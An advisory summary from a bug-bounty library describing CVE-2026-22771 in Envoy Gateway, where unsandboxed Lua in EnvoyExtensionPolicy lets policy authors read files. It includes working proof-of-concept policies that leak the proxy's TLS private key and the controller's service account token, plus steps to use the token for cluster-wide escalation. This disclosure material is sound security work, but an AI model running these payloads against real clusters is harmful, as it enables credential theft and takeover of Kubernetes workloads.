# Envoy Extension Policy lua scripts injection causes arbitrary command execution

Envoy Gateway runs user-supplied EnvoyExtensionPolicy Lua in the controller pod, letting a policy author read the SA token and escalate to cluster secrets.

- Payout: Research
- Severity: high
- Program: Envoy Gateway
- Found by: rikatz, guydc
- Disclosed: 2026-01-13
- CVE: CVE-2026-22771
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xrwg-mqj6-6m22
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xrwg-mqj6-6m22
- Tags: area:cloud domain:cloud domain:infra impact:data-leak impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:kubernetes vuln:rce vuln:secrets-leak

**Target:** EnvoyExtensionPolicy Lua scripts validated/executed by Envoy Gateway controller and Envoy proxy
**Root cause:** Lua scripts from EnvoyExtensionPolicy are interpreted by the controller for validation and by Envoy proxy without sandboxing, exposing io/os file access to untrusted policy authors.
**Steps:**
1. Create an EnvoyExtensionPolicy targeting an HTTPRoute with an inline Lua script using `io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")` in `envoy_on_response`.
2. Read the file content and call `error(content)` so the token is surfaced in the policy status message.
3. Read `kubectl get envoyextensionpolicy lua-leak -o yaml` to retrieve the SA token from the validation failure message.
4. Use the token against the API server to read secrets in envoy-gateway-system and create pods.
**Exploitation:** A user with RBAC to create EnvoyExtensionPolicy submits a Lua script; the controller executes it during validation, the script reads the mounted service account token and throws it as an error, which is reflected in the resource status. The attacker harvests the token and uses it to access all secrets used by Envoy proxy and to run pods in the envoy-gateway-system namespace.
**Escalation:** Controller SA token grants access to TLS private keys and downstream/upstream credentials, and permits creating arbitrary pods and deleting Envoy Gateway.
**Insight:** Any controller that validates user-supplied scripts by executing them inherits the script's file/network primitives; check whether validation runs in-process with the controller's own service account and whether error messages reflect script output.

## Proof of concept (copied exactly from the original report)

**Lua policy leaking proxy XDS client certs**

```
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: leak
  lua:
    - type: Inline
      inline: |
           function envoy_on_response(response_handle)
             local cert = io.open("/certs/tls.crt", "r")
             local content
             if cert then
                content = cert:read("*all")
                cert:close()
             else
                content = "file-not-found"
             end
             local keyfile = io.open("/certs/tls.key", "r")
             local contentkey
             if keyfile then
                contentkey = keyfile:read("*all")
                keyfile:close()
             else
                contentkey = "file-not-found"
             end
             local keypair = contentkey .. "\n" .. content
             response_handle:body():setBytes(keypair)
             response_handle:headers():replace("content-length", tostring(#keypair))
             response_handle:headers():replace("content-type", "text/plain")
           end
```

**Lua policy exfiltrating controller SA token**

```
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end
```

